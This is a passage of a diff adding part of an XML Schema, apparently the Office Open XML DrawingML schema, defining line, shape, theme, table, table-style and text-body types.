name="EG_LineFillProperties"> + <xsd:choice> + <xsd:element name="noFill" type="CT_NoFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="solidFill" type="CT_SolidColorFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gradFill" type="CT_GradientFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="pattFill" type="CT_PatternFillProperties" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_LineJoinBevel"/> + <xsd:complexType name="CT_LineJoinRound"/> + <xsd:complexType name="CT_LineJoinMiterProperties"> + <xsd:attribute name="lim" type="ST_PositivePercentage" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_LineJoinProperties"> + <xsd:choice> + <xsd:element name="round" type="CT_LineJoinRound" minOccurs="1" maxOccurs="1"/> + <xsd:element name="bevel" type="CT_LineJoinBevel" minOccurs="1" maxOccurs="1"/> + <xsd:element name="miter" type="CT_LineJoinMiterProperties" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_PresetLineDashVal"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="lgDash"/> + <xsd:enumeration value="dashDot"/> + <xsd:enumeration value="lgDashDot"/> + <xsd:enumeration value="lgDashDotDot"/> + <xsd:enumeration value="sysDash"/> + <xsd:enumeration value="sysDot"/> + <xsd:enumeration value="sysDashDot"/> + <xsd:enumeration value="sysDashDotDot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PresetLineDashProperties"> + <xsd:attribute name="val" type="ST_PresetLineDashVal" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_DashStop"> + <xsd:attribute name="d" type="ST_PositivePercentage" use="required"/> + <xsd:attribute name="sp" type="ST_PositivePercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DashStopList"> + <xsd:sequence> + <xsd:element name="ds" type="CT_DashStop" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_LineDashProperties"> + <xsd:choice> + <xsd:element name="prstDash" type="CT_PresetLineDashProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="custDash" type="CT_DashStopList" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_LineCap"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="rnd"/> + <xsd:enumeration value="sq"/> + <xsd:enumeration value="flat"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LineWidth"> + <xsd:restriction base="ST_Coordinate32Unqualified"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="20116800"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PenAlignment"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="in"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CompoundLine"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sng"/> + <xsd:enumeration value="dbl"/> + <xsd:enumeration value="thickThin"/> + <xsd:enumeration value="thinThick"/> + <xsd:enumeration value="tri"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LineProperties"> + <xsd:sequence> + <xsd:group ref="EG_LineFillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_LineDashProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_LineJoinProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headEnd" type="CT_LineEndProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tailEnd" type="CT_LineEndProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="w" type="ST_LineWidth" use="optional"/> + <xsd:attribute name="cap" type="ST_LineCap" use="optional"/> + <xsd:attribute name="cmpd" type="ST_CompoundLine" use="optional"/> + <xsd:attribute name="algn" type="ST_PenAlignment" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_ShapeID"> + <xsd:restriction base="xsd:token"/> + </xsd:simpleType> + <xsd:complexType name="CT_ShapeProperties"> + <xsd:sequence> + <xsd:element name="xfrm" type="CT_Transform2D" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_Geometry" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_FillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ln" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="scene3d" type="CT_Scene3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sp3d" type="CT_Shape3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="bwMode" type="ST_BlackWhiteMode" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupShapeProperties"> + <xsd:sequence> + <xsd:element name="xfrm" type="CT_GroupTransform2D" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_FillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="scene3d" type="CT_Scene3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="bwMode" type="ST_BlackWhiteMode" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_StyleMatrixReference"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="idx" type="ST_StyleMatrixColumnIndex" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FontReference"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="idx" type="ST_FontCollectionIndex" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ShapeStyle"> + <xsd:sequence> + <xsd:element name="lnRef" type="CT_StyleMatrixReference" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fillRef" type="CT_StyleMatrixReference" minOccurs="1" maxOccurs="1"/> + <xsd:element name="effectRef" type="CT_StyleMatrixReference" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fontRef" type="CT_FontReference" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DefaultShapeDefinition"> + <xsd:sequence> + <xsd:element name="spPr" type="CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="bodyPr" type="CT_TextBodyProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lstStyle" type="CT_TextListStyle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ObjectStyleDefaults"> + <xsd:sequence> + <xsd:element name="spDef" type="CT_DefaultShapeDefinition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lnDef" type="CT_DefaultShapeDefinition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txDef" type="CT_DefaultShapeDefinition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EmptyElement"/> + <xsd:complexType name="CT_ColorMapping"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="bg1" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="tx1" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="bg2" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="tx2" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="accent1" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="accent2" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="accent3" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="accent4" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="accent5" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="accent6" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="hlink" type="ST_ColorSchemeIndex" use="required"/> + <xsd:attribute name="folHlink" type="ST_ColorSchemeIndex" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorMappingOverride"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="masterClrMapping" type="CT_EmptyElement"/> + <xsd:element name="overrideClrMapping" type="CT_ColorMapping"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ColorSchemeAndMapping"> + <xsd:sequence> + <xsd:element name="clrScheme" type="CT_ColorScheme" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrMap" type="CT_ColorMapping" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ColorSchemeList"> + <xsd:sequence> + <xsd:element name="extraClrScheme" type="CT_ColorSchemeAndMapping" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OfficeStyleSheet"> + <xsd:sequence> + <xsd:element name="themeElements" type="CT_BaseStyles" minOccurs="1" maxOccurs="1"/> + <xsd:element name="objectDefaults" type="CT_ObjectStyleDefaults" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extraClrSchemeLst" type="CT_ColorSchemeList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="custClrLst" type="CT_CustomColorList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_BaseStylesOverride"> + <xsd:sequence> + <xsd:element name="clrScheme" type="CT_ColorScheme" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fontScheme" type="CT_FontScheme" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fmtScheme" type="CT_StyleMatrix" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ClipboardStyleSheet"> + <xsd:sequence> + <xsd:element name="themeElements" type="CT_BaseStyles" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrMap" type="CT_ColorMapping" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="theme" type="CT_OfficeStyleSheet"/> + <xsd:element name="themeOverride" type="CT_BaseStylesOverride"/> + <xsd:element name="themeManager" type="CT_EmptyElement"/> + <xsd:complexType name="CT_TableCellProperties"> + <xsd:sequence> + <xsd:element name="lnL" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lnR" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lnT" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lnB" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lnTlToBr" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lnBlToTr" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cell3D" type="CT_Cell3D" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_FillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headers" type="CT_Headers" minOccurs="0"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="marL" type="ST_Coordinate32" use="optional" default="91440"/> + <xsd:attribute name="marR" type="ST_Coordinate32" use="optional" default="91440"/> + <xsd:attribute name="marT" type="ST_Coordinate32" use="optional" default="45720"/> + <xsd:attribute name="marB" type="ST_Coordinate32" use="optional" default="45720"/> + <xsd:attribute name="vert" type="ST_TextVerticalType" use="optional" default="horz"/> + <xsd:attribute name="anchor" type="ST_TextAnchoringType" use="optional" default="t"/> + <xsd:attribute name="anchorCtr" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="horzOverflow" type="ST_TextHorzOverflowType" use="optional" default="clip" + /> + </xsd:complexType> + <xsd:complexType name="CT_Headers"> + <xsd:sequence minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="header" type="xsd:string"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TableCol"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="w" type="ST_Coordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TableGrid"> + <xsd:sequence> + <xsd:element name="gridCol" type="CT_TableCol" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TableCell"> + <xsd:sequence> + <xsd:element name="txBody" type="CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tcPr" type="CT_TableCellProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rowSpan" type="xsd:int" use="optional" default="1"/> + <xsd:attribute name="gridSpan" type="xsd:int" use="optional" default="1"/> + <xsd:attribute name="hMerge" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="vMerge" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="id" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableRow"> + <xsd:sequence> + <xsd:element name="tc" type="CT_TableCell" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="h" type="ST_Coordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TableProperties"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="tableStyle" type="CT_TableStyle"/> + <xsd:element name="tableStyleId" type="s:ST_Guid"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rtl" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="firstRow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="firstCol" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="lastRow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="lastCol" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="bandRow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="bandCol" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Table"> + <xsd:sequence> + <xsd:element name="tblPr" type="CT_TableProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblGrid" type="CT_TableGrid" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tr" type="CT_TableRow" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="tbl" type="CT_Table"/> + <xsd:complexType name="CT_Cell3D"> + <xsd:sequence> + <xsd:element name="bevel" type="CT_Bevel" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lightRig" type="CT_LightRig" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prstMaterial" type="ST_PresetMaterialType" use="optional" default="plastic" + /> + </xsd:complexType> + <xsd:group name="EG_ThemeableFillStyle"> + <xsd:choice> + <xsd:element name="fill" type="CT_FillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fillRef" type="CT_StyleMatrixReference" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_ThemeableLineStyle"> + <xsd:choice> + <xsd:element name="ln" type="CT_LineProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lnRef" type="CT_StyleMatrixReference" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:complexType> + <xsd:group name="EG_ThemeableEffectStyle"> + <xsd:choice> + <xsd:element name="effect" type="CT_EffectProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="effectRef" type="CT_StyleMatrixReference" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_ThemeableFontStyles"> + <xsd:choice> + <xsd:element name="font" type="CT_FontCollection" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fontRef" type="CT_FontReference" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_OnOffStyleType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="on"/> + <xsd:enumeration value="off"/> + <xsd:enumeration value="def"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TableStyleTextStyle"> + <xsd:sequence> + <xsd:group ref="EG_ThemeableFontStyles" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ColorChoice" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="b" type="ST_OnOffStyleType" use="optional" default="def"/> + <xsd:attribute name="i" type="ST_OnOffStyleType" use="optional" default="def"/> + </xsd:complexType> + <xsd:complexType name="CT_TableCellBorderStyle"> + <xsd:sequence> + <xsd:element name="left" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="right" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="top" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bottom" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="insideH" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="insideV" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tl2br" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tr2bl" type="CT_ThemeableLineStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TableBackgroundStyle"> + <xsd:sequence> + <xsd:group ref="EG_ThemeableFillStyle" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ThemeableEffectStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TableStyleCellStyle"> + <xsd:sequence> + <xsd:element name="tcBdr" type="CT_TableCellBorderStyle" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ThemeableFillStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cell3D" type="CT_Cell3D" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TablePartStyle"> + <xsd:sequence> + <xsd:element name="tcTxStyle" type="CT_TableStyleTextStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tcStyle" type="CT_TableStyleCellStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TableStyle"> + <xsd:sequence> + <xsd:element name="tblBg" type="CT_TableBackgroundStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="wholeTbl" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="band1H" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="band2H" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="band1V" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="band2V" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lastCol" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="firstCol" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lastRow" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="seCell" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="swCell" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="firstRow" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="neCell" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="nwCell" type="CT_TablePartStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="styleId" type="s:ST_Guid" use="required"/> + <xsd:attribute name="styleName" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TableStyleList"> + <xsd:sequence> + <xsd:element name="tblStyle" type="CT_TableStyle" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="def" type="s:ST_Guid" use="required"/> + </xsd:complexType> + <xsd:element name="tblStyleLst" type="CT_TableStyleList"/> + <xsd:complexType name="CT_TextParagraph"> + <xsd:sequence> + <xsd:element name="pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextRun" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="endParaRPr" type="CT_TextCharacterProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TextAnchoringType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="just"/> + <xsd:enumeration value="dist"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextVertOverflowType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="overflow"/> + <xsd:enumeration value="ellipsis"/> + <xsd:enumeration value="clip"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextHorzOverflowType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="overflow"/> + <xsd:enumeration value="clip"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextVerticalType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="horz"/> + <xsd:enumeration value="vert"/> + <xsd:enumeration value="vert270"/> + <xsd:enumeration value="wordArtVert"/> + <xsd:enumeration value="eaVert"/> + <xsd:enumeration value="mongolianVert"/> + <xsd:enumeration value="wordArtVertRtl"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextWrappingType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="square"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextColumnCount"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="1"/> + <xsd:maxInclusive value="16"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextListStyle"> + <xsd:sequence> + <xsd:element name="defPPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl1pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl2pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl3pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl4pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl5pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl6pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl7pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl8pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl9pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TextFontScalePercentOrPercentString"> + <xsd:union memberTypes="ST_TextFontScalePercent s:ST_Percentage"/> + </xsd:simpleType> + <xsd:simpleType name="ST_TextFontScalePercent"> + <xsd:restriction base="ST_PercentageDecimal"> + <xsd:minInclusive value="1000"/> + <xsd:maxInclusive value="100000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextNormalAutofit"> + <xsd:attribute name="fontScale" type="ST_TextFontScalePercentOrPercentString" use="optional" + default="100%"/> + <xsd:attribute name="lnSpcReduction" type="ST_TextSpacingPercentOrPercentString" use="optional" + default="0%"/> + </xsd:complexType> + <xsd:complexType name="CT_TextShapeAutofit"/> + <xsd:complexType name="CT_TextNoAutofit"/> + <xsd:group name="EG_TextAutofit"> + <xsd:choice> + <xsd:element name="noAutofit" type="CT_TextNoAutofit"/> + <xsd:element name="normAutofit" type="CT_TextNormalAutofit"/> + <xsd:element name="spAutoFit" type="CT_TextShapeAutofit"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_TextBodyProperties"> + <xsd:sequence> + <xsd:element name="prstTxWarp" type="CT_PresetTextShape" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextAutofit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="scene3d" type="CT_Scene3D" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_Text3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rot" type="ST_Angle" use="optional"/> + <xsd:attribute name="spcFirstLastPara" type="xsd:boolean" use="optional"/> + <xsd:attribute name="vertOverflow" type="ST_TextVertOverflowType" use="optional"/> + <xsd:attribute name="horzOverflow" type="ST_TextHorzOverflowType" use="optional"/> + <xsd:attribute name="vert" type="ST_TextVerticalType" use="optional"/> + <xsd:attribute name="wrap" type="ST_TextWrappingType" use="optional"/> + <xsd:attribute name="lIns" type="ST_Coordinate32" use="optional"/> + <xsd:attribute name="tIns" type="ST_Coordinate32" use="optional"/> + <xsd:attribute name="rIns" type="ST_Coordinate32" use="optional"/> + <xsd:attribute name="bIns" type="ST_Coordinate32" use="optional"/> + <xsd:attribute name="numCol" type="ST_TextColumnCount" use="optional"/> + <xsd:attribute name="spcCol" type="ST_PositiveCoordinate32" use="optional"/> + <xsd:attribute name="rtlCol" type="xsd:boolean" use="optional"/> + <xsd:attribute name="fromWordArt" type="xsd:boolean" use="optional"/> + <xsd:attribute name="anchor" type="ST_TextAnchoringType" use="optional"/> + <xsd:attribute name="anchorCtr" type="xsd:boolean" use="optional"/> + <xsd:attribute name="forceAA" type="xsd:boolean" use="optional"/> + <xsd:attribute name="upright" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="compatLnSpc" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TextBody"> + <xsd:sequence> + <xsd:element name="bodyPr" type="CT_TextBodyProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lstStyle" type="CT_TextListStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="p" type="CT_TextParagraph" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TextBulletStartAtNum"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="1"/> + <xsd:maxInclusive value="32767"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextAutonumberScheme"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="alphaLcParenBoth"/> + <xsd:enumeration value="alphaUcParenBoth"/> + <xsd:enumeration value="alphaLcParenR"/> + <xsd:enumeration value="alphaUcParenR"/> + <xsd:enumeration value="alphaLcPeriod"/> + <xsd:enumeration value="alphaUcPeriod"/> + <xsd:enumeration value="arabicParenBoth"/> + <xsd:enumeration value="arabicParenR"/> + <xsd:enumeration value="arabicPeriod"/> + <xsd:enumeration value="arabicPlain"/> + <xsd:enumeration value="romanLcParenBoth"/> + <xsd:enumeration value="romanUcParenBoth"/> + <xsd:enumeration value="romanLcParenR"/> + <xsd:enumeration value="romanUcParenR"/> + <xsd:enumeration value="romanLcPeriod"/> + <xsd:enumeration value="romanUcPeriod"/> + <xsd:enumeration value="circleNumDbPlain"/> + <xsd:enumeration value="circleNumWdBlackPlain"/> + <xsd:enumeration value="circleNumWdWhitePlain"/> + 